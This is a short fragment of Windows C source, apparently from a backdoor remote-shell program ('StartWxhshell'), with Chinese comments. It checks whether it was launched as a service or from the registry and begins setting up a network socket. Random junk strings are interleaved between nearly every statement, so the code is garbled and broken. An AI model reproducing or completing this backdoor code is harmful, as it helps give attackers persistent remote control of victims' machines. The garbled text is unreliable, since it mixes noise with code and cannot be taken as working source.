OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @ZX{q~g! if(hProcess==NULL) return 0; VK`b'U&l" sBSBDjk[ HMODULE hMod; Yq5}r?N char procName[255]; sV[|op unsigned long cbNeeded; 1N#TL"lMS s|{K?s if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "?avb`YU' q{ctHs Q(9 CloseHandle(hProcess); %FyB\IQ f#X`e'1 if(strstr(procName,"services")) return 1; // 以服务启动 p1Lx\
EQ=Enw1[ return 0; // 注册表启动 \=5CNe } 2d1'!B
zDA Gl1`Nx0 // 主模块 J`"1DlH int StartWxhshell(LPSTR lpCmdLine) fDbs3"H Q { m+uh6IqN./ SOCKET wsl; F ^E(AE BOOL val=TRUE; u)Y#&q |